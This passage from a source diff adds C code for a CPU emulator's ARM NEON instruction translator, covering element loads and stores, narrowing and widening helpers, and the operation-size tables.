neon_load_reg(tcg_ctx, rd, pass); + for (n = 0; n < 4; n++) { + tmp = tcg_temp_new_i32(tcg_ctx); + if (n == 0) { + tcg_gen_mov_i32(tcg_ctx, tmp, tmp2); + } else { + tcg_gen_shri_i32(tcg_ctx, tmp, tmp2, n * 8); + } + gen_aa32_st8(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_addi_i32(tcg_ctx, addr, addr, stride); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + } + } + } + } + rd += spacing; + } + tcg_temp_free_i32(tcg_ctx, addr); + stride = nregs * 8; + } else { + size = (insn >> 10) & 3; + if (size == 3) { + /* Load single element to all lanes. */ + int a = (insn >> 4) & 1; + if (!load) { + return 1; + } + size = (insn >> 6) & 3; + nregs = ((insn >> 8) & 3) + 1; + + if (size == 3) { + if (nregs != 4 || a == 0) { + return 1; + } + /* For VLD4 size==3 a == 1 means 32 bits at 16 byte alignment */ + size = 2; + } + if (nregs == 1 && a == 1 && size == 0) { + return 1; + } + if (nregs == 3 && a == 1) { + return 1; + } + addr = tcg_temp_new_i32(tcg_ctx); + load_reg_var(s, addr, rn); + if (nregs == 1) { + /* VLD1 to all lanes: bit 5 indicates how many Dregs to write */ + tmp = gen_load_and_replicate(s, addr, size); + tcg_gen_st_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, neon_reg_offset(rd, 0)); + tcg_gen_st_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, neon_reg_offset(rd, 1)); + if (insn & (1 << 5)) { + tcg_gen_st_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, neon_reg_offset(rd + 1, 0)); + tcg_gen_st_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, neon_reg_offset(rd + 1, 1)); + } + tcg_temp_free_i32(tcg_ctx, tmp); + } else { + /* VLD2/3/4 to all lanes: bit 5 indicates register stride */ + stride = (insn & (1 << 5)) ? 2 : 1; + for (reg = 0; reg < nregs; reg++) { + tmp = gen_load_and_replicate(s, addr, size); + tcg_gen_st_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, neon_reg_offset(rd, 0)); + tcg_gen_st_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, neon_reg_offset(rd, 1)); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_addi_i32(tcg_ctx, addr, addr, 1 << size); + rd += stride; + } + } + tcg_temp_free_i32(tcg_ctx, addr); + stride = (1 << size) * nregs; + } else { + /* Single element. */ + int idx = (insn >> 4) & 0xf; + pass = (insn >> 7) & 1; + switch (size) { + case 0: + shift = ((insn >> 5) & 3) * 8; + stride = 1; + break; + case 1: + shift = ((insn >> 6) & 1) * 16; + stride = (insn & (1 << 5)) ? 2 : 1; + break; + case 2: + shift = 0; + stride = (insn & (1 << 6)) ? 2 : 1; + break; + default: + abort(); + } + nregs = ((insn >> 8) & 3) + 1; + /* Catch the UNDEF cases. This is unavoidably a bit messy. */ + switch (nregs) { + case 1: + if (((idx & (1 << size)) != 0) || + (size == 2 && ((idx & 3) == 1 || (idx & 3) == 2))) { + return 1; + } + break; + case 3: + if ((idx & 1) != 0) { + return 1; + } + /* fall through */ + case 2: + if (size == 2 && (idx & 2) != 0) { + return 1; + } + break; + case 4: + if ((size == 2) && ((idx & 3) == 3)) { + return 1; + } + break; + default: + abort(); + } + if ((rd + stride * (nregs - 1)) > 31) { + /* Attempts to write off the end of the register file + * are UNPREDICTABLE; we choose to UNDEF because otherwise + * the neon_load_reg() would write off the end of the array. + */ + return 1; + } + addr = tcg_temp_new_i32(tcg_ctx); + load_reg_var(s, addr, rn); + for (reg = 0; reg < nregs; reg++) { + if (load) { + tmp = tcg_temp_new_i32(tcg_ctx); + switch (size) { + case 0: + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + break; + case 1: + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + break; + case 2: + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + break; + default: /* Avoid compiler warnings. */ + abort(); + } + if (size != 2) { + tmp2 = neon_load_reg(tcg_ctx, rd, pass); + tcg_gen_deposit_i32(tcg_ctx, tmp, tmp2, tmp, + shift, size ? 16 : 8); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + neon_store_reg(tcg_ctx, rd, pass, tmp); + } else { /* Store */ + tmp = neon_load_reg(tcg_ctx, rd, pass); + if (shift) + tcg_gen_shri_i32(tcg_ctx, tmp, tmp, shift); + switch (size) { + case 0: + gen_aa32_st8(s, tmp, addr, get_mem_index(s)); + break; + case 1: + gen_aa32_st16(s, tmp, addr, get_mem_index(s)); + break; + case 2: + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + break; + } + tcg_temp_free_i32(tcg_ctx, tmp); + } + rd += stride; + tcg_gen_addi_i32(tcg_ctx, addr, addr, 1 << size); + } + tcg_temp_free_i32(tcg_ctx, addr); + stride = nregs * (1 << size); + } + } + if (rm != 15) { + TCGv_i32 base; + + base = load_reg(s, rn); + if (rm == 13) { + tcg_gen_addi_i32(tcg_ctx, base, base, stride); + } else { + TCGv_i32 index; + index = load_reg(s, rm); + tcg_gen_add_i32(tcg_ctx, base, base, index); + tcg_temp_free_i32(tcg_ctx, index); + } + store_reg(s, rn, base); + } + return 0; +} + +/* Bitwise select. dest = c ? t : f. Clobbers T and F. */ +static void gen_neon_bsl(DisasContext *s, TCGv_i32 dest, TCGv_i32 t, TCGv_i32 f, TCGv_i32 c) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_and_i32(tcg_ctx, t, t, c); + tcg_gen_andc_i32(tcg_ctx, f, f, c); + tcg_gen_or_i32(tcg_ctx, dest, t, f); +} + +static inline void gen_neon_narrow(DisasContext *s, int size, TCGv_i32 dest, TCGv_i64 src) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 0: gen_helper_neon_narrow_u8(tcg_ctx, dest, src); break; + case 1: gen_helper_neon_narrow_u16(tcg_ctx, dest, src); break; + case 2: tcg_gen_trunc_i64_i32(tcg_ctx, dest, src); break; + default: abort(); + } +} + +static inline void gen_neon_narrow_sats(DisasContext *s, int size, TCGv_i32 dest, TCGv_i64 src) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 0: gen_helper_neon_narrow_sat_s8(tcg_ctx, dest, tcg_ctx->cpu_env, src); break; + case 1: gen_helper_neon_narrow_sat_s16(tcg_ctx, dest, tcg_ctx->cpu_env, src); break; + case 2: gen_helper_neon_narrow_sat_s32(tcg_ctx, dest, tcg_ctx->cpu_env, src); break; + default: abort(); + } +} + +static inline void gen_neon_narrow_satu(DisasContext *s, int size, TCGv_i32 dest, TCGv_i64 src) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 0: gen_helper_neon_narrow_sat_u8(tcg_ctx, dest, tcg_ctx->cpu_env, src); break; + case 1: gen_helper_neon_narrow_sat_u16(tcg_ctx, dest, tcg_ctx->cpu_env, src); break; + case 2: gen_helper_neon_narrow_sat_u32(tcg_ctx, dest, tcg_ctx->cpu_env, src); break; + default: abort(); + } +} + +static inline void gen_neon_unarrow_sats(DisasContext *s, int size, TCGv_i32 dest, TCGv_i64 src) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 0: gen_helper_neon_unarrow_sat8(tcg_ctx, dest, tcg_ctx->cpu_env, src); break; + case 1: gen_helper_neon_unarrow_sat16(tcg_ctx, dest, tcg_ctx->cpu_env, src); break; + case 2: gen_helper_neon_unarrow_sat32(tcg_ctx, dest, tcg_ctx->cpu_env, src); break; + default: abort(); + } +} + +static inline void gen_neon_shift_narrow(DisasContext *s, int size, TCGv_i32 var, TCGv_i32 shift, + int q, int u) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (q) { + if (u) { + switch (size) { + case 1: gen_helper_neon_rshl_u16(tcg_ctx, var, var, shift); break; + case 2: gen_helper_neon_rshl_u32(tcg_ctx, var, var, shift); break; + default: abort(); + } + } else { + switch (size) { + case 1: gen_helper_neon_rshl_s16(tcg_ctx, var, var, shift); break; + case 2: gen_helper_neon_rshl_s32(tcg_ctx, var, var, shift); break; + default: abort(); + } + } + } else { + if (u) { + switch (size) { + case 1: gen_helper_neon_shl_u16(tcg_ctx, var, var, shift); break; + case 2: gen_helper_neon_shl_u32(tcg_ctx, var, var, shift); break; + default: abort(); + } + } else { + switch (size) { + case 1: gen_helper_neon_shl_s16(tcg_ctx, var, var, shift); break; + case 2: gen_helper_neon_shl_s32(tcg_ctx, var, var, shift); break; + default: abort(); + } + } + } +} + +static inline void gen_neon_widen(DisasContext *s, TCGv_i64 dest, TCGv_i32 src, int size, int u) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (u) { + switch (size) { + case 0: gen_helper_neon_widen_u8(tcg_ctx, dest, src); break; + case 1: gen_helper_neon_widen_u16(tcg_ctx, dest, src); break; + case 2: tcg_gen_extu_i32_i64(tcg_ctx, dest, src); break; + default: abort(); + } + } else { + switch (size) { + case 0: gen_helper_neon_widen_s8(tcg_ctx, dest, src); break; + case 1: gen_helper_neon_widen_s16(tcg_ctx, dest, src); break; + case 2: tcg_gen_ext_i32_i64(tcg_ctx, dest, src); break; + default: abort(); + } + } + tcg_temp_free_i32(tcg_ctx, src); +} + +static inline void gen_neon_addl(DisasContext *s, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 0: gen_helper_neon_addl_u16(tcg_ctx, CPU_V001); break; + case 1: gen_helper_neon_addl_u32(tcg_ctx, CPU_V001); break; + case 2: tcg_gen_add_i64(tcg_ctx, CPU_V001); break; + default: abort(); + } +} + +static inline void gen_neon_subl(DisasContext *s, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 0: gen_helper_neon_subl_u16(tcg_ctx, CPU_V001); break; + case 1: gen_helper_neon_subl_u32(tcg_ctx, CPU_V001); break; + case 2: tcg_gen_sub_i64(tcg_ctx, CPU_V001); break; + default: abort(); + } +} + +static inline void gen_neon_negl(DisasContext *s, TCGv_i64 var, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 0: gen_helper_neon_negl_u16(tcg_ctx, var, var); break; + case 1: gen_helper_neon_negl_u32(tcg_ctx, var, var); break; + case 2: + tcg_gen_neg_i64(tcg_ctx, var, var); + break; + default: abort(); + } +} + +static inline void gen_neon_addl_saturate(DisasContext *s, TCGv_i64 op0, TCGv_i64 op1, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + switch (size) { + case 1: gen_helper_neon_addl_saturate_s32(tcg_ctx, op0, tcg_ctx->cpu_env, op0, op1); break; + case 2: gen_helper_neon_addl_saturate_s64(tcg_ctx, op0, tcg_ctx->cpu_env, op0, op1); break; + default: abort(); + } +} + +static inline void gen_neon_mull(DisasContext *s, TCGv_i64 dest, TCGv_i32 a, TCGv_i32 b, + int size, int u) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tmp; + + switch ((size << 1) | u) { + case 0: gen_helper_neon_mull_s8(tcg_ctx, dest, a, b); break; + case 1: gen_helper_neon_mull_u8(tcg_ctx, dest, a, b); break; + case 2: gen_helper_neon_mull_s16(tcg_ctx, dest, a, b); break; + case 3: gen_helper_neon_mull_u16(tcg_ctx, dest, a, b); break; + case 4: + tmp = gen_muls_i64_i32(s, a, b); + tcg_gen_mov_i64(tcg_ctx, dest, tmp); + tcg_temp_free_i64(tcg_ctx, tmp); + break; + case 5: + tmp = gen_mulu_i64_i32(s, a, b); + tcg_gen_mov_i64(tcg_ctx, dest, tmp); + tcg_temp_free_i64(tcg_ctx, tmp); + break; + default: abort(); + } + + /* gen_helper_neon_mull_[su]{8|16} do not free their parameters. + Don't forget to clean them now. */ + if (size < 2) { + tcg_temp_free_i32(tcg_ctx, a); + tcg_temp_free_i32(tcg_ctx, b); + } +} + +static void gen_neon_narrow_op(DisasContext *s, int op, int u, int size, + TCGv_i32 dest, TCGv_i64 src) +{ + if (op) { + if (u) { + gen_neon_unarrow_sats(s, size, dest, src); + } else { + gen_neon_narrow(s, size, dest, src); + } + } else { + if (u) { + gen_neon_narrow_satu(s, size, dest, src); + } else { + gen_neon_narrow_sats(s, size, dest, src); + } + } +} + +/* Symbolic constants for op fields for Neon 3-register same-length. + * The values correspond to bits [11:8,4]; see the ARM ARM DDI0406B + * table A7-9. + */ +#define NEON_3R_VHADD 0 +#define NEON_3R_VQADD 1 +#define NEON_3R_VRHADD 2 +#define NEON_3R_LOGIC 3 /* VAND,VBIC,VORR,VMOV,VORN,VEOR,VBIF,VBIT,VBSL */ +#define NEON_3R_VHSUB 4 +#define NEON_3R_VQSUB 5 +#define NEON_3R_VCGT 6 +#define NEON_3R_VCGE 7 +#define NEON_3R_VSHL 8 +#define NEON_3R_VQSHL 9 +#define NEON_3R_VRSHL 10 +#define NEON_3R_VQRSHL 11 +#define NEON_3R_VMAX 12 +#define NEON_3R_VMIN 13 +#define NEON_3R_VABD 14 +#define NEON_3R_VABA 15 +#define NEON_3R_VADD_VSUB 16 +#define NEON_3R_VTST_VCEQ 17 +#define NEON_3R_VML 18 /* VMLA, VMLAL, VMLS, VMLSL */ +#define NEON_3R_VMUL 19 +#define NEON_3R_VPMAX 20 +#define NEON_3R_VPMIN 21 +#define NEON_3R_VQDMULH_VQRDMULH 22 +#define NEON_3R_VPADD 23 +#define NEON_3R_SHA 24 /* SHA1C,SHA1P,SHA1M,SHA1SU0,SHA256H{2},SHA256SU1 */ +#define NEON_3R_VFM 25 /* VFMA, VFMS : float fused multiply-add */ +#define NEON_3R_FLOAT_ARITH 26 /* float VADD, VSUB, VPADD, VABD */ +#define NEON_3R_FLOAT_MULTIPLY 27 /* float VMLA, VMLS, VMUL */ +#define NEON_3R_FLOAT_CMP 28 /* float VCEQ, VCGE, VCGT */ +#define NEON_3R_FLOAT_ACMP 29 /* float VACGE, VACGT, VACLE, VACLT */ +#define NEON_3R_FLOAT_MINMAX 30 /* float VMIN, VMAX */ +#define NEON_3R_FLOAT_MISC 31 /* float VRECPS, VRSQRTS, VMAXNM/MINNM */ + +static const uint8_t neon_3r_sizes[] = { + /*NEON_3R_VHADD*/ 0x7, + /*NEON_3R_VQADD*/ 0xf, + /*NEON_3R_VRHADD*/ 0x7, + /*NEON_3R_LOGIC*/ 0xf, /* size field encodes op type */ + /*NEON_3R_VHSUB*/ 0x7, + /*NEON_3R_VQSUB*/ 0xf, + /*NEON_3R_VCGT*/ 0x7, + /*NEON_3R_VCGE*/ 0x7, + /*NEON_3R_VSHL*/ 0xf, + /*NEON_3R_VQSHL*/ 0xf, + /*NEON_3R_VRSHL*/ 0xf, + /*NEON_3R_VQRSHL*/ 0xf, + /*NEON_3R_VMAX*/ 0x7, + /*NEON_3R_VMIN*/ 0x7, + /*NEON_3R_VABD*/ 0x7, + /*NEON_3R_VABA*/ 0x7, + /*NEON_3R_VADD_VSUB*/ 0xf, + /*NEON_3R_VTST_VCEQ*/ 0x7, + /*NEON_3R_VML*/ 0x7, + /*NEON_3R_VMUL*/ 0x7, + /*NEON_3R_VPMAX*/ 0x7, + /*NEON_3R_VPMIN*/ 0x7, + /*NEON_3R_VQDMULH_VQRDMULH*/ 0x6, + /*NEON_3R_VPADD*/ 0x7, + /*NEON_3R_SHA*/ 0xf, /* size field encodes op type */ + /*NEON_3R_VFM*/ 0x5, /* size bit 1 encodes op */ + /*NEON_3R_FLOAT_ARITH*/ 0x5, /* size bit 1 encodes op */ + /*NEON_3R_FLOAT_MULTIPLY*/ 0x5, /* size bit 1 encodes op */ + /*NEON_3R_FLOAT_CMP*/ 0x5, /* size bit 1 encodes op */ + /*NEON_3R_FLOAT_ACMP*/ 0x5, /* size bit 1 encodes op */ + /*NEON_3R_FLOAT_MINMAX*/ 0x5, /* size bit 1 encodes op */ + /*NEON_3R_FLOAT_MISC*/ 0x5, /* size bit 1 encodes op */ +}; + +/* Symbolic constants for op fields for Neon 2-register miscellaneous. + * The values correspond to bits [17:16,10:7]; see the ARM ARM DDI0406B + * table A7-13. + */ +#define NEON_2RM_VREV64 0 +#define NEON_2RM_VREV32 1 +#define NEON_2RM_VREV16 2 +#define NEON_2RM_VPADDL 4 +#define NEON_2RM_VPADDL_U 5 +#define NEON_2RM_AESE 6 /* Includes AESD */ +#define NEON_2RM_AESMC 7 /* Includes AESIMC */ +#define NEON_2RM_VCLS 8 +#define NEON_2RM_VCLZ 9 +#define NEON_2RM_VCNT 10 +#define NEON_2RM_VMVN 11 +#define NEON_2RM_VPADAL 12 +#define NEON_2RM_VPADAL_U 13 +#define NEON_2RM_VQABS 14 +#define NEON_2RM_VQNEG 15 +#define NEON_2RM_VCGT0 16 +#define NEON_2RM_VCGE0 17 +#define NEON_2RM_VCEQ0 18 +#define NEON_2RM_VCLE0 19 +#define NEON_2RM_VCLT0 20 +#define NEON_2RM_SHA1H 21 +#define NEON_2RM_VABS 22 +#define NEON_2RM_VNEG 23 +#define NEON_2RM_VCGT0_F 24 +#define NEON_2RM_VCGE0_F 25 +#define NEON_2RM_VCEQ0_F 26 +#define NEON_2RM_VCLE0_F 27 +#define NEON_2RM_VCLT0_F 28 +#define NEON_2RM_VABS_F 30 +#define NEON_2RM_VNEG_F 31 +#define NEON_2RM_VSWP 32 +#define NEON_2RM_VTRN 33 +#define NEON_2RM_VUZP 34 +#define NEON_2RM_VZIP 35 +#define NEON_2RM_VMOVN 36 /* Includes VQMOVN, VQMOVUN */ +#define NEON_2RM_VQMOVN 37 /* Includes VQMOVUN */ +#define NEON_2RM_VSHLL 38 +#define NEON_2RM_SHA1SU1 39 /* Includes SHA256SU0 */ +#define NEON_2RM_VRINTN 40 +#define NEON_2RM_VRINTX 41 +#define NEON_2RM_VRINTA 42 +#define NEON_2RM_VRINTZ 43 +#define NEON_2RM_VCVT_F16_F32 44 +#define NEON_2RM_VRINTM 45 +#define NEON_2RM_VCVT_F32_F16 46 +#define NEON_2RM_VRINTP 47 +#define NEON_2RM_VCVTAU 48 +#define NEON_2RM_VCVTAS 49 +#define NEON_2RM_VCVTNU 50 +#define NEON_2RM_VCVTNS 51 +#define NEON_2RM_VCVTPU 52 +#define NEON_2RM_VCVTPS 53 +#define NEON_2RM_VCVTMU 54 +#define NEON_2RM_VCVTMS 55 +#define NEON_2RM_VRECPE 56 +#define NEON_2RM_VRSQRTE 57 +#define NEON_2RM_VRECPE_F 58 +#define NEON_2RM_VRSQRTE_F 59 +#define NEON_2RM_VCVT_FS 60 +#define NEON_2RM_VCVT_FU 61 +#define NEON_2RM_VCVT_SF 62 +#define NEON_2RM_VCVT_UF 63 + +static int neon_2rm_is_float_op(int op) +{ + /* Return true if this neon 2reg-misc op is float-to-float */ + return (op == NEON_2RM_VABS_F || op == NEON_2RM_VNEG_F || + (op >= NEON_2RM_VRINTN && op <= NEON_2RM_VRINTZ) || + op == NEON_2RM_VRINTM || + (op >= NEON_2RM_VRINTP && op <= NEON_2RM_VCVTMS) || + op >= NEON_2RM_VRECPE_F); +} + +/* Each entry in this array has bit n set if the insn allows + * size value n (otherwise it will UNDEF). Since unallocated + * op values will have no bits set they always UNDEF. + */ +static const uint8_t neon_2rm_sizes[] = { + /*NEON_2RM_VREV64*/ 0x7, + /*NEON_2RM_VREV32*/ 0x3, + /*NEON_2RM_VREV16*/ 0x1, + 0, + /*NEON_2RM_VPADDL*/ 0x7, + /*NEON_2RM_VPADDL_U*/ 0x7, + /*NEON_2RM_AESE*/ 0x1, + /*NEON_2RM_AESMC*/ 0x1, + /*NEON_2RM_VCLS*/ 0x7, + /*NEON_2RM_VCLZ*/ 0x7, + /*NEON_2RM_VCNT*/ 0x1, + /*NEON_2RM_VMVN*/ 0x1, + /*NEON_2RM_VPADAL*/ 0x7, + /*NEON_2RM_VPADAL_U*/ 0x7, + /*NEON_2RM_VQABS*/ 0x7, + /*NEON_2RM_VQNEG*/ 0x7, + /*NEON_2RM_VCGT0*/ 0x7, + /*NEON_2RM_VCGE0*/ 0x7, + /*NEON_2RM_VCEQ0*/ 0x7, + /*NEON_2RM_VCLE0*/ 0x7, + /*NEON_2RM_VCLT0*/ 0x7, + /*NEON_2RM_SHA1H*/ 0x4, + /*NEON_2RM_VABS*/ 0x7, + /*NEON_2RM_VNEG*/ 0x7, + /*NEON_2RM_VCGT0_F*/ 0x4, + /*NEON_2RM_VCGE0_F*/ 0x4, + /*NEON_2RM_VCEQ0_F*/ 0x4, + /*NEON_2RM_VCLE0_F*/ 0x4, + /*NEON_2RM_VCLT0_F*/ 0x4, + 0, + /*NEON_2RM_VABS_F*/ 0x4, + /*NEON_2RM_VNEG_F*/ 0x4, + /*NEON_2RM_VSWP*/ 0x1, + /*NEON_2RM_VTRN*/ 0x7, + /*NEON_2RM_VUZP*/ 0x7, + /*NEON_2RM_VZIP*/ 0x7, + /*NEON_2RM_VMOVN*/ 0x7, + /*NEON_2RM_VQMOVN*/ 0x7, + /*NEON_2RM_VSHLL*/ 0x7, + /*NEON_2RM_SHA1SU1*/ 0x4, + /*NEON_2RM_VRINTN*/ 0x4, + /*NEON_2RM_VRINTX*/ 0x4, + /*NEON_2RM_VRINTA*/ 0x4, + /*NEON_2RM_VRINTZ*/ 0x4, + /*NEON_2RM_VCVT_F16_F32*/ 0x2, + /*NEON_2RM_VRINTM*/ 0x4, + /*NEON_2RM_VCVT_F32_F16*/ 0x2, + /*NEON_2RM_VRINTP*/ 0x4, + /*NEON_2RM_VCVTAU*/ 0x4, + /*NEON_2RM_VCVTAS*/ 0x4, + /*NEON_2RM_VCVTNU*/ 0x4, + /*NEON_2RM_VCVTNS*/ 0x4, + /*NEON_2RM_VCVTPU*/ 0x4, + /*NEON_2RM_VCVTPS*/ 0x4, + /*NEON_2RM_VCVTMU*/ 0x4, + /*NEON_2RM_VCVTMS*/ 0x4, + /*NEON_2RM_VRECPE*/ 0x4, + /*NEON_2RM_VRSQRTE*/ 0x4, + /*NEON_2RM_VRECPE_F*/ 0x4, + /*NEON_2RM_VRSQRTE_F*/ 0x4, + /*NEON_2RM_VCVT_FS*/ 0x4, + /*NEON_2RM_VCVT_FU*/ 0x4, + /*NEON_2RM_VCVT_SF*/ 0x4, + /*NEON_2RM_VCVT_UF*/ 0x4, +}; + +/* Translate a NEON data processing instruction. Return nonzero if the + instruction is invalid. + We process data in a mixture of 32-bit and 64-bit chunks. + Mostly we use 32-bit chunks so we can use normal scalar instructions. */ + +static int disas_neon_data_insn(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int op; + int q; + int rd, rn, rm; + int size; + int shift; + int pass; + int count; + int pairwise; + int u; + uint32_t imm, mask; + TCGv_i32 tmp, tmp2, tmp3, tmp4, tmp5; + TCGv_i64 tmp64; + + /* FIXME: this access check should not take precedence over UNDEF + * for invalid encodings; we will generate incorrect syndrome information + * for attempts to execute invalid vfp/neon encodings with FP disabled. + */ + if (!s->cpacr_fpen) { + gen_exception_insn(s, 4, EXCP_UDEF, + syn_fp_access_trap(1, 0xe, s->thumb)); + return 0; + } + + if (!s->vfp_enabled) + return 1; + q = (insn & (1 << 6)) != 0; + u = (insn >> 24) & 1; + VFP_DREG_D(rd, insn); + VFP_DREG_N(rn, insn); + VFP_DREG_M(rm, insn); + size = (insn >> 20) & 3; + if ((insn & (1 << 23)) == 0) { + /* Three register same length. */ + op = ((insn >> 7) & 0x1e) | ((insn >> 4) & 1); + /* Catch invalid op and bad size combinations: UNDEF */ + if ((neon_3r_sizes[op] & (1 << size)) == 0) { + return 1; + } + /* All insns of this form UNDEF for either this condition or the + * superset of cases "Q==1"; we catch the latter later. + */ + if (q && ((rd | rn | rm) & 1)) { + return 1; + } + /* + * The SHA-1/SHA-256 3-register instructions require special treatment + * here, as their size field is overloaded as an op type selector, and + * they all consume their input in a single pass. + */ + if (op == NEON_3R_SHA) { + if (!q) { + return 1; + } + if (!u) { /* SHA-1 */ + if (!arm_dc_feature(s, ARM_FEATURE_V8_SHA1)) { + return 1; + } + tmp = tcg_const_i32(tcg_ctx, rd); + tmp2 = tcg_const_i32(tcg_ctx, rn); + tmp3 = tcg_const_i32(tcg_ctx, rm); + tmp4 = tcg_const_i32(tcg_ctx, size); + gen_helper_crypto_sha1_3reg(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2, tmp3, tmp4); + tcg_temp_free_i32(tcg_ctx, tmp4); + } else { /* SHA-256 */ + if (!arm_dc_feature(s, ARM_FEATURE_V8_SHA256) || size == 3) { + return 1; + } + tmp = tcg_const_i32(tcg_ctx, rd); + tmp2 = tcg_const_i32(tcg_ctx, rn); + tmp3 = tcg_const_i32(tcg_ctx, rm); + switch (size) { + case 0: + gen_helper_crypto_sha256h(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2, tmp3); + break; + case 1: + gen_helper_crypto_sha256h2(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2, tmp3); + break; + case 2: + gen_helper_crypto_sha256su1(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2, tmp3); + break; + } + } + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp3); + return 0; + } + if (size == 3 && op != NEON_3R_LOGIC) { + /* 64-bit element instructions. */ + for (pass = 0; pass < (q ? 2 : 1); pass++) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rn + pass); + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rm + pass); + switch (op) { + case NEON_3R_VQADD: + if (u) { + gen_helper_neon_qadd_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + } else { + gen_helper_neon_qadd_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + } + break; + case NEON_3R_VQSUB: + if (u) { + gen_helper_neon_qsub_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + } else { + gen_helper_neon_qsub_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + } + break; + case NEON_3R_VSHL: + if (u) { + gen_helper_neon_shl_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1, tcg_ctx->cpu_V0); + } else { + gen_helper_neon_shl_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1, tcg_ctx->cpu_V0); + } + break; + case NEON_3R_VQSHL: + if (u) { + gen_helper_neon_qshl_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V1, tcg_ctx->cpu_V0); + } else { + gen_helper_neon_qshl_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V1, tcg_ctx->cpu_V0); + } + break; + case NEON_3R_VRSHL: + if (u) { + gen_helper_neon_rshl_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1, tcg_ctx->cpu_V0); + } else { + gen_helper_neon_rshl_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1, tcg_ctx->cpu_V0); + } + break; + case NEON_3R_VQRSHL: + if (u) { + gen_helper_neon_qrshl_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V1, tcg_ctx->cpu_V0); + } else { + gen_helper_neon_qrshl_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V1, tcg_ctx->cpu_V0); + } + break; + case NEON_3R_VADD_VSUB: + if (u) { + tcg_gen_sub_i64(tcg_ctx, CPU_V001); + } else { + tcg_gen_add_i64(tcg_ctx, CPU_V001); + } + break; + default: + abort(); + } + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd + pass); + } + return 0; + } + pairwise = 0; + switch (op) { + case NEON_3R_VSHL: + case NEON_3R_VQSHL: + case NEON_3R_VRSHL: + case NEON_3R_VQRSHL: + { + int rtmp; + /* Shift instruction operands are reversed. */ + rtmp = rn; + rn = rm; + rm = rtmp; + } + break; + case NEON_3R_VPADD: + if (u) { + return 1; + } + /* Fall through */ + case NEON_3R_VPMAX: + case NEON_3R_VPMIN: + pairwise = 1; + break; + case NEON_3R_FLOAT_ARITH: + pairwise = (u && size < 2); /* if VPADD (float) */ + break; + case NEON_3R_FLOAT_MINMAX: + pairwise = u; /* if VPMIN/VPMAX (float) */ + break; + case NEON_3R_FLOAT_CMP: + if (!u && size) { + /* no encoding for U=0 C=1x */ + return 1; + } + break; + case NEON_3R_FLOAT_ACMP: + if (!u) { + return 1; + } + break; + case NEON_3R_FLOAT_MISC: + /* VMAXNM/VMINNM in ARMv8 */ + if (u && !arm_dc_feature(s, ARM_FEATURE_V8)) { + return 1; + } + break; + case NEON_3R_VMUL: + if (u && (size != 0)) { + /* UNDEF on invalid size for polynomial subcase */ + return 1; + } + break; + case NEON_3R_VFM: + if (!arm_dc_feature(s, ARM_FEATURE_VFP4) || u) { + return 1; + } + break; + default: + break; + } + + if (pairwise && q) { + /* All the pairwise insns UNDEF if Q is set */ + return 1; + } + + for (pass = 0; pass < (q ? 4 : 2); pass++) { + + if (pairwise) { + /* Pairwise. */ + if (pass < 1) { + tmp = neon_load_reg(tcg_ctx, rn, 0); + tmp2 = neon_load_reg(tcg_ctx, rn, 1); + } else { + tmp = neon_load_reg(tcg_ctx, rm, 0); 